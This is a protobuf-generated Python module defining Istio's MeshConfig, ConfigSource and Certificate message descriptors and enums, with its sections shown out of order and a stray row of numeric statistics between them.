name='auth_policy', full_name='istio.mesh.v1alpha1.MeshConfig.auth_policy', index=14,
number=10, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='rds_refresh_delay', full_name='istio.mesh.v1alpha1.MeshConfig.rds_refresh_delay', index=15,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_tracing', full_name='istio.mesh.v1alpha1.MeshConfig.enable_tracing', index=16,
number=12, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='access_log_file', full_name='istio.mesh.v1alpha1.MeshConfig.access_log_file', index=17,
number=13, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='access_log_format', full_name='istio.mesh.v1alpha1.MeshConfig.access_log_format', index=18,
number=24, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='access_log_encoding', full_name='istio.mesh.v1alpha1.MeshConfig.access_log_encoding', index=19,
number=27, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_envoy_access_log_service', full_name='istio.mesh.v1alpha1.MeshConfig.enable_envoy_access_log_service', index=20,
number=40, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='default_config', full_name='istio.mesh.v1alpha1.MeshConfig.default_config', index=21,
number=14, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='mixer_address', full_name='istio.mesh.v1alpha1.MeshConfig.mixer_address', index=22,
number=16, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='outbound_traffic_policy', full_name='istio.mesh.v1alpha1.MeshConfig.outbound_traffic_policy', index=23,
number=17, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_client_side_policy_check', full_name='istio.mesh.v1alpha1.MeshConfig.enable_client_side_policy_check', index=24,
number=19, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='sds_uds_path', full_name='istio.mesh.v1alpha1.MeshConfig.sds_uds_path', index=25,
number=20, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='sds_refresh_delay', full_name='istio.mesh.v1alpha1.MeshConfig.sds_refresh_delay', index=26,
number=21, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=_b('\030\001'), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='config_sources', full_name='istio.mesh.v1alpha1.MeshConfig.config_sources', index=27,
number=22, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_auto_mtls', full_name='istio.mesh.v1alpha1.MeshConfig.enable_auto_mtls', index=28,
number=43, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='enable_sds_token_mount', full_name='istio.mesh.v1alpha1.MeshConfig.enable_sds_token_mount', index=29,
number=23, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='sds_use_k8s_sa_jwt', full_name='istio.mesh.v1alpha1.MeshConfig.sds_use_k8s_sa_jwt', index=30,
number=29, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='trust_domain', full_name='istio.mesh.v1alpha1.MeshConfig.trust_domain', index=31,
number=26, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='trust_domain_aliases', full_name='istio.mesh.v1alpha1.MeshConfig.trust_domain_aliases', index=32,
number=46, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='default_service_export_to', full_name='istio.mesh.v1alpha1.MeshConfig.default_service_export_to', index=33,
number=31, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='default_virtual_service_export_to', full_name='istio.mesh.v1alpha1.MeshConfig.default_virtual_service_export_to', index=34,
number=32, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='default_destination_rule_export_to', full_name='istio.mesh.v1alpha1.MeshConfig.default_destination_rule_export_to', index=35,
number=33, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='root_namespace', full_name='istio.mesh.v1alpha1.MeshConfig.root_namespace', index=36,
number=34, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='locality_lb_setting', full_name='istio.mesh.v1alpha1.MeshConfig.locality_lb_setting', index=37,
number=35, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='dns_refresh_rate', full_name='istio.mesh.v1alpha1.MeshConfig.dns_refresh_rate', index=38,
number=36, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='disable_report_batch', full_name='istio.mesh.v1alpha1.MeshConfig.disable_report_batch', index=39,
number=37, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='report_batch_max_entries', full_name='istio.mesh.v1alpha1.MeshConfig.report_batch_max_entries', index=40,
number=38, type=13, cpp_type=3, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='report_batch_max_time', full_name='istio.mesh.v1alpha1.MeshConfig.report_batch_max_time', index=41,
number=39, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='h2_upgrade_policy', full_name='istio.mesh.v1alpha1.MeshConfig.h2_upgrade_policy', index=42,
number=41, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='inbound_cluster_stat_name', full_name='istio.mesh.v1alpha1.MeshConfig.inbound_cluster_stat_name', index=43,
number=44, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='outbound_cluster_stat_name', full_name='istio.mesh.v1alpha1.MeshConfig.outbound_cluster_stat_name', index=44,
number=45, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='certificates', full_name='istio.mesh.v1alpha1.MeshConfig.certificates', index=45,
number=47, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_MESHCONFIG_OUTBOUNDTRAFFICPOLICY, ],
enum_types=[
_MESHCONFIG_INGRESSCONTROLLERMODE,
_MESHCONFIG_AUTHPOLICY,
_MESHCONFIG_ACCESSLOGENCODING,
_MESHCONFIG_H2UPGRADEPOLICY,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=187,
serialized_end=2634,
)
_CONFIGSOURCE = _descriptor.Descriptor(
name='ConfigSource',
full_name='istio.mesh.v1alpha1.ConfigSource',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='address', full_name='istio.mesh.v1alpha1.ConfigSource.address', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='tls_settings', full_name='istio.mesh.v1alpha1.ConfigSource.tls_settings', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='subscribed_resources', full_name='istio.mesh.v1alpha1.ConfigSource.subscribed_resources', index=2,
number=3, type=14, cpp_type=8, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2637,
serialized_end=2791,
)
_CERTIFICATE = _descriptor.Descriptor(
name='Certificate',
full_name='istio.mesh.v1alpha1.Certificate',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='secret_name', full_name='istio.mesh.v1alpha1.Certificate.secret_name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='dns_names', full_name='istio.mesh.v1alpha1.Certificate.dns_names', index=1,
number=2, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2793,
serialized_end=2846,
)
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY.fields_by_name['mode'].enum_type = _MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY.containing_type = _MESHCONFIG
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE.containing_type = _MESHCONFIG_OUTBOUNDTRAFFICPOLICY
_MESHCONFIG.fields_by_name['connect_timeout'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['protocol_detection_timeout'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['tcp_keepalive'].message_type = networking_dot_v1alpha3_dot_destination__rule__pb2._CONNECTIONPOOLSETTINGS_TCPSETTINGS_TCPKEEPALIVE
_MESHCONFIG.fields_by_name['ingress_controller_mode'].enum_type = _MESHCONFIG_INGRESSCONTROLLERMODE
_MESHCONFIG.fields_by_name['auth_policy'].enum_type = _MESHCONFIG_AUTHPOLICY
_MESHCONFIG.fields_by_name['rds_refresh_delay'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['access_log_encoding'].enum_type = _MESHCONFIG_ACCESSLOGENCODING
_MESHCONFIG.fields_by_name['default_config'].message_type = mesh_dot_v1alpha1_dot_proxy__pb2._PROXYCONFIG
_MESHCONFIG.fields_by_name['outbound_traffic_policy'].message_type = _MESHCONFIG_OUTBOUNDTRAFFICPOLICY
_MESHCONFIG.fields_by_name['sds_refresh_delay'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['config_sources'].message_type = _CONFIGSOURCE
_MESHCONFIG.fields_by_name['enable_auto_mtls'].message_type = google_dot_protobuf_dot_wrappers__pb2._BOOLVALUE
_MESHCONFIG.fields_by_name['locality_lb_setting'].message_type = networking_dot_v1alpha3_dot_destination__rule__pb2._LOCALITYLOADBALANCERSETTING
_MESHCONFIG.fields_by_name['dns_refresh_rate'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['report_batch_max_time'].message_type = google_dot_protobuf_dot_duration__pb2._DURATION
_MESHCONFIG.fields_by_name['h2_upgrade_policy'].enum_type = _MESHCONFIG_H2UPGRADEPOLICY
_MESHCONFIG.fields_by_name['certificates'].message_type = _CERTIFICATE
_MESHCONFIG_INGRESSCONTROLLERMODE.containing_type = _MESHCONFIG
_MESHCONFIG_AUTHPOLICY.containing_type = _MESHCONFIG
_MESHCONFIG_ACCESSLOGENCODING.containing_type = _MESHCONFIG
_MESHCONFIG_H2UPGRADEPOLICY.containing_type = _MESHCONFIG
_CONFIGSOURCE.fields_by_name['tls_settings'].message_type = networking_dot_v1alpha3_dot_destination__rule__pb2._TLSSETTINGS
_CONFIGSOURCE.fields_by_name['subscribed_resources'].enum_type = _RESOURCE
DESCRIPTOR.message_types_by_name['MeshConfig'] = _MESHCONFIG
DESCRIPTOR.message_types_by_name['ConfigSource'] = _CONFIGSOURCE
DESCRIPTOR.message_types_by_name['Certificate'] = _CERTIFICATE
DESCRIPTOR.enum_types_by_name['Resource'] = _RESOURCE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
MeshConfig = _reflection.GeneratedProtocolMessageType('MeshConfig', (_message.Message,), {
'OutboundTrafficPolicy' : _reflection.GeneratedProtocolMessageType('OutboundTrafficPolicy', (_message.Message,), {
'DESCRIPTOR' : _MESHCONFIG_OUTBOUNDTRAFFICPOLICY,
'__module__' : 'mesh.v1alpha1.config_pb2'
# @@protoc_insertion_point(class_scope:istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy)
})
,
'DESCRIPTOR' : _MESHCONFIG,
'__module__' : 'mesh.v1alpha1.config_pb2'
# @@protoc_insertion_point(class_scope:istio.mesh.v1alpha1.MeshConfig)
})
_sym_db.RegisterMessage(MeshConfig)
_sym_db.RegisterMessage(MeshConfig.OutboundTrafficPolicy)
ConfigSource = _reflection.GeneratedProtocolMessageType('ConfigSource', (_message.Message,), {
'DESCRIPTOR' : _CONFIGSOURCE,
'__module__' : 'mesh.v1alpha1.config_pb2'
# @@protoc_insertion_point(class_scope:istio.mesh.v1alpha1.ConfigSource)
})
_sym_db.RegisterMessage(ConfigSource)
Certificate = _reflection.GeneratedProtocolMessageType('Certificate', (_message.Message,), {
'DESCRIPTOR' : _CERTIFICATE,
'__module__' : 'mesh.v1alpha1.config_pb2'
# @@protoc_insertion_point(class_scope:istio.mesh.v1alpha1.Certificate)
})
_sym_db.RegisterMessage(Certificate)
DESCRIPTOR._options = None
_MESHCONFIG.fields_by_name['auth_policy']._options = None
_MESHCONFIG.fields_by_name['rds_refresh_delay']._options = None
_MESHCONFIG.fields_by_name['mixer_address']._options = None
_MESHCONFIG.fields_by_name['sds_uds_path']._options = None
_MESHCONFIG.fields_by_name['sds_refresh_delay']._options = None
# @@protoc_insertion_point(module_scope)
| 52.57204 | 4,551 | 0.7674 |
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf.internal import enum_type_wrapper
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
_sym_db = _symbol_database.Default()
from google.protobuf import duration_pb2 as google_dot_protobuf_dot_duration__pb2
from google.protobuf import wrappers_pb2 as google_dot_protobuf_dot_wrappers__pb2
from mesh.v1alpha1 import proxy_pb2 as mesh_dot_v1alpha1_dot_proxy__pb2
from networking.v1alpha3 import destination_rule_pb2 as networking_dot_v1alpha3_dot_destination__rule__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='mesh/v1alpha1/config.proto',
package='istio.mesh.v1alpha1',
syntax='proto3',
serialized_options=_b('Z\032istio.io/api/mesh/v1alpha1'),
serialized_pb=_b('\n\x1amesh/v1alpha1/config.proto\x12\x13istio.mesh.v1alpha1\x1a\x1egoogle/protobuf/duration.proto\x1a\x1egoogle/protobuf/wrappers.proto\x1a\x19mesh/v1alpha1/proxy.proto\x1a*networking/v1alpha3/destination_rule.proto\"\x8f\x13\n\nMeshConfig\x12\x1a\n\x12mixer_check_server\x18\x01 \x01(\t\x12\x1b\n\x13mixer_report_server\x18\x02 \x01(\t\x12\x1d\n\x15\x64isable_policy_checks\x18\x03 \x01(\x08\x12\"\n\x1a\x64isable_mixer_http_reports\x18\x30 \x01(\x08\x12\x1e\n\x16policy_check_fail_open\x18\x19 \x01(\x08\x12-\n%sidecar_to_telemetry_session_affinity\x18\x1e \x01(\x08\x12\x19\n\x11proxy_listen_port\x18\x04 \x01(\x05\x12\x17\n\x0fproxy_http_port\x18\x05 \x01(\x05\x12\x32\n\x0f\x63onnect_timeout\x18\x06 \x01(\x0b\x32\x19.google.protobuf.Duration\x12=\n\x1aprotocol_detection_timeout\x18* \x01(\x0b\x32\x19.google.protobuf.Duration\x12\x61\n\rtcp_keepalive\x18\x1c \x01(\x0b\x32J.istio.networking.v1alpha3.ConnectionPoolSettings.TCPSettings.TcpKeepalive\x12\x15\n\ringress_class\x18\x07 \x01(\t\x12\x17\n\x0fingress_service\x18\x08 \x01(\t\x12V\n\x17ingress_controller_mode\x18\t \x01(\x0e\x32\x35.istio.mesh.v1alpha1.MeshConfig.IngressControllerMode\x12\x43\n\x0b\x61uth_policy\x18\n \x01(\x0e\x32*.istio.mesh.v1alpha1.MeshConfig.AuthPolicyB\x02\x18\x01\x12\x38\n\x11rds_refresh_delay\x18\x0b \x01(\x0b\x32\x19.google.protobuf.DurationB\x02\x18\x01\x12\x16\n\x0e\x65nable_tracing\x18\x0c \x01(\x08\x12\x17\n\x0f\x61\x63\x63\x65ss_log_file\x18\r \x01(\t\x12\x19\n\x11\x61\x63\x63\x65ss_log_format\x18\x18 \x01(\t\x12N\n\x13\x61\x63\x63\x65ss_log_encoding\x18\x1b \x01(\x0e\x32\x31.istio.mesh.v1alpha1.MeshConfig.AccessLogEncoding\x12\'\n\x1f\x65nable_envoy_access_log_service\x18( \x01(\x08\x12\x38\n\x0e\x64\x65\x66\x61ult_config\x18\x0e \x01(\x0b\x32 .istio.mesh.v1alpha1.ProxyConfig\x12\x19\n\rmixer_address\x18\x10 \x01(\tB\x02\x18\x01\x12V\n\x17outbound_traffic_policy\x18\x11 \x01(\x0b\x32\x35.istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy\x12\'\n\x1f\x65nable_client_side_policy_check\x18\x13 \x01(\x08\x12\x18\n\x0csds_uds_path\x18\x14 \x01(\tB\x02\x18\x01\x12\x38\n\x11sds_refresh_delay\x18\x15 \x01(\x0b\x32\x19.google.protobuf.DurationB\x02\x18\x01\x12\x39\n\x0e\x63onfig_sources\x18\x16 \x03(\x0b\x32!.istio.mesh.v1alpha1.ConfigSource\x12\x34\n\x10\x65nable_auto_mtls\x18+ \x01(\x0b\x32\x1a.google.protobuf.BoolValue\x12\x1e\n\x16\x65nable_sds_token_mount\x18\x17 \x01(\x08\x12\x1a\n\x12sds_use_k8s_sa_jwt\x18\x1d \x01(\x08\x12\x14\n\x0ctrust_domain\x18\x1a \x01(\t\x12\x1c\n\x14trust_domain_aliases\x18. \x03(\t\x12!\n\x19\x64\x65\x66\x61ult_service_export_to\x18\x1f \x03(\t\x12)\n!default_virtual_service_export_to\x18 \x03(\t\x12*\n\"default_destination_rule_export_to\x18! \x03(\t\x12\x16\n\x0eroot_namespace\x18\" \x01(\t\x12S\n\x13locality_lb_setting\x18# \x01(\x0b\x32\x36.istio.networking.v1alpha3.LocalityLoadBalancerSetting\x12\x33\n\x10\x64ns_refresh_rate\x18$ \x01(\x0b\x32\x19.google.protobuf.Duration\x12\x1c\n\x14\x64isable_report_batch\x18% \x01(\x08\x12 \n\x18report_batch_max_entries\x18& \x01(\r\x12\x38\n\x15report_batch_max_time\x18\' \x01(\x0b\x32\x19.google.protobuf.Duration\x12J\n\x11h2_upgrade_policy\x18) \x01(\x0e\x32/.istio.mesh.v1alpha1.MeshConfig.H2UpgradePolicy\x12!\n\x19inbound_cluster_stat_name\x18, \x01(\t\x12\"\n\x1aoutbound_cluster_stat_name\x18- \x01(\t\x12\x36\n\x0c\x63\x65rtificates\x18/ \x03(\x0b\x32 .istio.mesh.v1alpha1.Certificate\x1a\xa7\x01\n\x15OutboundTrafficPolicy\x12H\n\x04mode\x18\x01 \x01(\x0e\x32:.istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy.Mode\"D\n\x04Mode\x12\x11\n\rREGISTRY_ONLY\x10\x00\x12\r\n\tALLOW_ANY\x10\x01\"\x04\x08\x02\x10\x02*\x14VIRTUAL_SERVICE_ONLY\"9\n\x15IngressControllerMode\x12\x07\n\x03OFF\x10\x00\x12\x0b\n\x07\x44\x45\x46\x41ULT\x10\x01\x12\n\n\x06STRICT\x10\x02\"&\n\nAuthPolicy\x12\x08\n\x04NONE\x10\x00\x12\x0e\n\nMUTUAL_TLS\x10\x01\"\'\n\x11\x41\x63\x63\x65ssLogEncoding\x12\x08\n\x04TEXT\x10\x00\x12\x08\n\x04JSON\x10\x01\"2\n\x0fH2UpgradePolicy\x12\x12\n\x0e\x44O_NOT_UPGRADE\x10\x00\x12\x0b\n\x07UPGRADE\x10\x01J\x04\x08\x0f\x10\x10J\x04\x08\x12\x10\x13\"\x9a\x01\n\x0c\x43onfigSource\x12\x0f\n\x07\x61\x64\x64ress\x18\x01 \x01(\t\x12<\n\x0ctls_settings\x18\x02 \x01(\x0b\x32&.istio.networking.v1alpha3.TLSSettings\x12;\n\x14subscribed_resources\x18\x03 \x03(\x0e\x32\x1d.istio.mesh.v1alpha1.Resource\"5\n\x0b\x43\x65rtificate\x12\x13\n\x0bsecret_name\x18\x01 \x01(\t\x12\x11\n\tdns_names\x18\x02 \x03(\t* \n\x08Resource\x12\x14\n\x10SERVICE_REGISTRY\x10\x00\x42\x1cZ\x1aistio.io/api/mesh/v1alpha1b\x06proto3')
,
dependencies=[google_dot_protobuf_dot_duration__pb2.DESCRIPTOR,google_dot_protobuf_dot_wrappers__pb2.DESCRIPTOR,mesh_dot_v1alpha1_dot_proxy__pb2.DESCRIPTOR,networking_dot_v1alpha3_dot_destination__rule__pb2.DESCRIPTOR,])
_RESOURCE = _descriptor.EnumDescriptor(
name='Resource',
full_name='istio.mesh.v1alpha1.Resource',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='SERVICE_REGISTRY', index=0, number=0,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2848,
serialized_end=2880,
)
_sym_db.RegisterEnumDescriptor(_RESOURCE)
Resource = enum_type_wrapper.EnumTypeWrapper(_RESOURCE)
SERVICE_REGISTRY = 0
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE = _descriptor.EnumDescriptor(
name='Mode',
full_name='istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy.Mode',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='REGISTRY_ONLY', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='ALLOW_ANY', index=1, number=1,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2362,
serialized_end=2430,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE)
_MESHCONFIG_INGRESSCONTROLLERMODE = _descriptor.EnumDescriptor(
name='IngressControllerMode',
full_name='istio.mesh.v1alpha1.MeshConfig.IngressControllerMode',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='OFF', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='DEFAULT', index=1, number=1,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='STRICT', index=2, number=2,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2432,
serialized_end=2489,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_INGRESSCONTROLLERMODE)
_MESHCONFIG_AUTHPOLICY = _descriptor.EnumDescriptor(
name='AuthPolicy',
full_name='istio.mesh.v1alpha1.MeshConfig.AuthPolicy',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='NONE', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='MUTUAL_TLS', index=1, number=1,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2491,
serialized_end=2529,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_AUTHPOLICY)
_MESHCONFIG_ACCESSLOGENCODING = _descriptor.EnumDescriptor(
name='AccessLogEncoding',
full_name='istio.mesh.v1alpha1.MeshConfig.AccessLogEncoding',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='TEXT', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='JSON', index=1, number=1,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2531,
serialized_end=2570,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_ACCESSLOGENCODING)
_MESHCONFIG_H2UPGRADEPOLICY = _descriptor.EnumDescriptor(
name='H2UpgradePolicy',
full_name='istio.mesh.v1alpha1.MeshConfig.H2UpgradePolicy',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='DO_NOT_UPGRADE', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='UPGRADE', index=1, number=1,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2572,
serialized_end=2622,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_H2UPGRADEPOLICY)
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY = _descriptor.Descriptor(
name='OutboundTrafficPolicy',
full_name='istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='mode', full_name='istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy.mode', index=0,
number=1, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2263,
serialized_end=2430,
)
